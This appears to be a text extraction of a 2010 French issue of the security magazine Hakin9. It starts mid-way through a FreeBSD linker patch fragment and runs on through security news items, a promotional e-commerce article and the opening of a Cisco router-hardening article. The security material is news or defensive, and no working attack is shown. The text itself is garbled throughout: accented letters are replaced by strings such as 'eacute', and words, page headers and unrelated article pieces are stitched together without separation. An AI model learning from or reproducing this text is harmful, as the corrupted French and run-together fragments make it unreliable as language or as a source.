+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 4: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

ltltNUMER_WYDANIAgtgt

ACTUALITEacuteS

Google et la confidentialiteacute Apregraves la poleacutemique autour de Google et des informa-tions reacutecupeacutereacutees agrave la laquo voleacutee raquo la CNIL a lanceacute une eacutetude portant sur la mise en danger des donneacutees des usagers

Lrsquoideacutee de base de Google eacutetait drsquoenregistrer lrsquoidentiteacute et la position des hotspots Wi-Fi

Lrsquoanalyse a deacutemontreacute que le logiciel utiliseacute enregi-strait bien plus que des fragments il enregistrait des paquets entiers desquels pouvaient ecirctre extraites des donneacutees sensibles telles que les adresses mails mots de passe etc

Drsquoautres Eacutetats comme lrsquoEspagne ou lrsquoAllemagne ont aussi demandeacute agrave Google agrave acceacuteder aux donneacutees cap-tureacutees par cette entreprise mais crsquoest la CNIL qui a eacuteteacute la premiegravere agrave voir sa requecircte accepteacutee

Apple et les vulneacuterabiliteacutes Le lundi 21 juin aura eacuteteacute une journeacutee laquo noire raquo pour Ap-ple eacutetant donneacute que son upgrade agrave iOS 4 a permis de patcher 65 vulneacuterabiliteacutes La moitieacute drsquoentre elles eacutetaient critiques drsquoapregraves les speacutecialistes

Certains doutent que le nouvel iPad pourrait ecirctre vul-neacuterable agrave une ou plusieurs des failles patcheacutees sur les iPhonesiPod Touch

De plus les utilisateurs drsquoiPad nrsquoauront pas de patchs avant cet automne permettant de couvrir certaines vul-neacuterabiliteacutes Un tregraves gros vecteur drsquoattaques risque donc drsquoecirctre ouvert aux pirates

Ce nombre de vulneacuterabiliteacutes est donc un nouveau re-cord compareacute aux patchs des 46 failles de lrsquoeacuteteacute der-nier

IOS 4 comportait 35 bugs soit plus de la moitieacute des vulneacuterabiliteacutes trouveacutees et qui eacutetaient de type laquo arbitra-ry code execution raquo donc critiques

La prudence est au rendez-vous pour tous les utilisa-teurs de produits Apple tels que lrsquoiPad

Le fait drsquoecirctre signeacute est-ce suffisant Une eacutetude de Jarno Niemela a montreacute que les auteurs de malwares utilisent la technologie drsquoAuthenticode pour les faire passer pour de bons logiciels

Cette derniegravere est utiliseacutee pour signer du code assu-rer son authenticiteacute et son inteacutegriteacute

De nombreux anti-virus srsquoappuient sur ce systegraveme qui malheureusement apregraves certaines deacutecouvertes nrsquoest pas si sucircr

De nombreuses techniques permettent laquo drsquoabuser raquo de la confiance des Authenticode telles que

ecirctre certifieacute mais ne pas avoir des bonnes inten-tions voler des certificats infecter des systegravemes de deacuteveloppeurs et ecirctre signeacute dans les releases (infec-tion de masse) falsification du MD5 (deux binaires ayant le mecircme checksum mais pas les mecircmes acti-viteacutes) etc

Turquie une attaque drsquoenvergureUne vague de censure en Turquie est arriveacutee il y a que-lques temps bloquant de nombreux services de Go-ogle tels que Google Traduction Google Documents ou encore Google Livres Il srsquoagit lagrave drsquoune conseacutequence de la volonteacute des Fournisseurs drsquoaccegraves internet Turqu-es de bloquer certaines adresses IP affilieacutees agrave Youtu-be

De nombreuses autres adresses IP relatives agrave Youtu-be et aux services de Google ont eacuteteacute blacklisteacutees Pro-gressivement de nombreux internautes se sont pla-ints que de nombreux services tels que Picasa Google Maps ne fonctionnaient plus

Degraves lors une attaque DdoS drsquoenvergure a eacuteteacute lanceacutee contre le ministegravere du transport lrsquoAutoriteacute des techno-logies de lrsquoinformation et des communications et contre la preacutesidence des teacuteleacutecommunications

Ces trois sites web ont eacuteteacute inaccessibles une bonne partie de la journeacutee agrave cause drsquoun groupe drsquohacktivistes meacutecontents de cette censure Drsquoapregraves de nombreuses sources lrsquoattaque aurait dureacute 10 heures

Et si un VPN ne nous permettait plus drsquoecirctre anonyme Au cours de la premiegravere laquo Telecomix Cyphernetics As-sembly raquo qui a eu lieu en Suegravede une vulneacuterabiliteacute au sein des VPNs a eacuteteacute preacutesenteacutee Le fait de combiner Ipv6 (qui remplace progressivement Ipv4) ainsi que PPTP (point-to-point tunneling protocol) permettent de retrou-ver des informations comme par exemple lrsquoadresse IP lrsquoadresse MAC ou encore le nom de lrsquoordinateur drsquoun utilisateur en particulier

Cette information est donc des plus critiques puis-que lrsquoune des utilisations des VPN consiste agrave favori-ser lrsquoanonymat et ainsi assurer la confidentialiteacute de ses donneacutees personnelles

De nombreuses alternatives ont eacuteteacute deacutecrites comme par exemple le fait de repasser agrave IPv4 ou de favoriser lrsquoutilisation drsquoOpenVPN plutocirct que PPTP

Fuite de donneacutees pour les utilisateurs de lrsquoiPad Il y a quelques semaines une nouvelle faisait rage de nombreuses informations confidentielles concernant des utilisateurs drsquoiPad ont eacuteteacute reacutecupeacutereacutees par un grou-pe deacutenommeacute laquo Goatse Security raquo

Crsquoest environ 114 000 adresses qui ont eacuteteacute reacutecupeacute-reacutees avec entre autres de grosses pointures telles que le CEO du New York Times Dow Jones Times inc hellip

Le problegraveme se situait sur le site de ATampT qui a per-mis via le changement drsquoun certain paramegravetre de reacute-cupeacuterer toutes ces informations Degraves lors il aurait eacuteteacute possible de lancer des vagues de spams agrave lrsquoencontre de ces personnes ou encore essayer drsquoinfecter leurs

ltltSTRONA_PISMAgtgt

ACTUALITEacuteS

propres infrastructures Ce dernier point nrsquoest en aucun cas agrave neacutegliger car nous sommes dans la peacuteriode ougrave lrsquoespionnage industriel est drsquoactualiteacute

Absolute Manage une vraie catastropheIl y a quelques temps un scandale avait eacuteclateacute avec un logiciel drsquoadministration agrave distance sur les ordinateurs drsquoeacutelegraveves en Pennsylvanie lequel permettait de prendre des photos drsquoeacutetudiants agrave leur insu bien que cela nrsquoaurait jamais ducirc ecirctre reacutealiseacute

Des compagnies de seacutecuriteacute ont ainsi analyseacute le logiciel et ont deacutemontreacute qursquoil y avait de nombreux problegravemes de seacutecuriteacute comme deacutechiffrement des communications gracircce agrave une cleacute hardcodeacutee dans le programme et semblable pour tous les clients con-tournement de lrsquoauthentification de lrsquoenvoi de messa-ges

Ouverture de Norton DNS au publicNorton DNS est comme son nom lrsquoindique un servi-ce de DNS public permettant de seacutecuriser tout appareil connecteacute sur la toile

Il comporte une blacklist avec tous les sites ayant une activiteacute plus ou moins accrue avec les malwares phis-

hing permettant ainsi de preacutemunir lrsquousager contre un quelconque risque sur la toile

Degraves lors lorsqursquoun internaute essaie drsquoacceacuteder agrave un site malicieux ce dernier est redirigeacute vers un site drsquoavertissement de Norton en expliquant que le site est bloqueacute par Norton DNS

Je tiens agrave rappeler que son utilisation ne peut ecirctre uti-liseacutee que comme une laquo sur-couche raquo de protection et ne preacutemunise pas contre tous les risques preacutesents sur la toile

Le tabnabbing une nouvelle meacutethode de phishing en vogueCette technique a eacuteteacute expliqueacutee et reacutealiseacutee par Aza Raskin Le principe est de changer le contenu lorsque lrsquoutilisateur a le laquo dos tourneacute raquo ou encore quand il chan-ge drsquoonglet dans son navigateur

Dans la pratique lorsque la page qui a un aspect normal nrsquoest plus consulteacutee elle aura son laquo favicon raquo et son titre modifieacutes pour ressembler au site viseacute Degraves lors lrsquointernaute pensera alors qursquoil a laisseacute ouverte sa messagerie eacutelectronique ou son site de e-commerce ouvert

Il est donc pieacutegeacute et sera pris au jeu du pirate Lrsquoun des correctifs proposeacute par Aza Raskin est que le navigateur doit jouer un rocircle plus important que celui de fureteur basique il doit proteacuteger la confidentialiteacute des donneacutees utilisateur

Metasploitable une vraie reacuteussite pour chacun Tout le monde a tregraves certainement entendu parleacute de Me-tasploit qui est un framework utiliseacute par de nombreuses compagnies afin de reacutealiser des tests drsquointrusion sur des technologies cibleacutees La base de donneacutees drsquoexploits ou-tils en tout genre est colossale et est un outil agrave part entiegravere dans lrsquoaudit de seacutecuriteacute Metasploitable est donc une image Vmware qui nrsquoest autre qursquoune version drsquoUbuntu 804 comportant des services faillibles Le but du jeu est donc de monter lrsquoimage sur son ordinateur et ainsi de srsquoentrainer afin drsquoutiliser le framework Metasploitable

Crsquoest donc un bon entraicircnement pour comprendre le fonctionnement du framework mais aussi avoir une ideacutee de ce qursquoest le pentesting tout en ne nuisant pas aux infrastructures informatiques existantes

Nouvelle version drsquoHydraTout en restant dans les outils drsquoaudit en seacutecuriteacute il ne faut pas oublier la nouvelle version drsquoHydra

Hydra est un cracker de mots de passe supportant de nombreux protocoles tels que VNC POSTGRES IMAP hellip La liste des protocoles geacutereacutes par Hydra est surpre-nante Cet outil a eacuteteacute deacuteveloppeacute par une organisation du nom laquo The Hackerrsquos Choice raquo (THC) et est maintenant passeacute sous licence GPL v3

62010

Dossier

Avantages et inconveacutenients du e-commerceLe E-commerce comporte les mecircmes avantages qursquoin-ternet crsquoest-agrave-dire lrsquoaccegraves agrave un large public la rapi-diteacute drsquoexeacutecution lrsquoaccegraves 24h24 7j7hellip Mais en plus il permet de geacuteneacuterer une activiteacute et des revenus Fa-cile drsquoaccegraves avoir une boutique en ligne permet de deacute-velopper ses ventes avec un investissement maicirctriseacute et sans les droits drsquoentreacutee drsquoune boutique physique Lrsquoheacutebergement consideacutereacute comme le loyer est acces-sible agrave tous sans garantie demandeacutee De nombreu-ses options sont disponibles pour mettre en place son e-commerce payantes ou gratuites Des solutions de paiement en ligne permettent de geacuteneacuterer des ventes sans papier et agrave des coucircts minimes Bref le e-com-merce ressemble agrave une formidable opportuniteacute ouver-te agrave chacun

Cependant si la plus grande qualiteacute du e-commerce est son accessibiliteacute crsquoest aussi ce qui creacutee son plus grand deacutefaut Lrsquoabondance de boutiques en ligne fait drsquointernet le marcheacute le plus concurrentiel Alors que pour une boutique physique le choix de lrsquoemplacement est deacutecideacute une fois pour toutes sur la toile la place de la boutique change en permanence Personne nrsquoa de place assureacutee

Quelques remarques sur les bonnes questions agrave se poser pour le lancement drsquoune boutique en ligne

Avoir bien reacutefleacutechi agrave son offre commerciale une bou-tique en ligne est avant tout un commerce Mecircme si In-

ternet facilite le lancement drsquoune activiteacute il est important drsquoavoir un bon concept commercial et une offre produitservice attractive pour assurer la viabiliteacute du site Lrsquoob-jectif est de transformer en acheteur le visiteur sur votre site Au-delagrave du site en lui-mecircme ce sont les produitsservices les prix les offres qui feront la diffeacuterence

Rendre sa boutique unique parmi les milliers de bou-tiques en ligne lrsquointernaute doit reconnaicirctre votre bou-tique du premier coup drsquoœil Une boutique en ligne est toujours faite sur le mecircme principe de fiche produit liste produit menu Il est donc important de se diffeacuterencier par lrsquoaspect visuel Le graphisme de votre site montrera tout de suite au visiteur dans quelle ambiance etou ty-pe de magasin il se trouve comme pour une boutique physique Un internaute restera plus longtemps et sera plus curieux sur un site qursquoil appreacutecie graphiquement Il y reviendra aussi et il le retiendra Notons quelques freins graphiques sur une boutique comme lrsquoabondance de banniegraveres susceptible de surcharger la page drsquoac-cueil tout comme lexcegraves danimations En outre une page tunnel qui annonce le site avant drsquoy entrer vrai-ment fait parfois son effet agrave la premiegravere visite mais au bout de plusieurs aura tendance agrave lasser lrsquointernaute Toujours dans lrsquoambiance geacuteneacuterale du site la musique risque de freiner le visiteur (manque de discreacutetion re-dondance agrave chaque nouvelle page bouton STOP invi-siblehellip) Tous ces critegraveres deacutependent de votre projet et de lrsquoimage que vous souhaitez veacutehiculer Lrsquoidentiteacute vi-suelle est dans tous les cas un critegravere primordial pour se diffeacuterencier

Boutiques online

Le nombre de boutiques en ligne augmente chaque jour A travers cet article vous allez apprendre comment lancer sa boutique online

Cet article expliquebull avantages et inconveacutenients du E-commercebull comment lancer sa boutique onlinebull solutions e-commerce

Ce quil faut savoirbull Aucune connaissance nest requise

store Factory

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

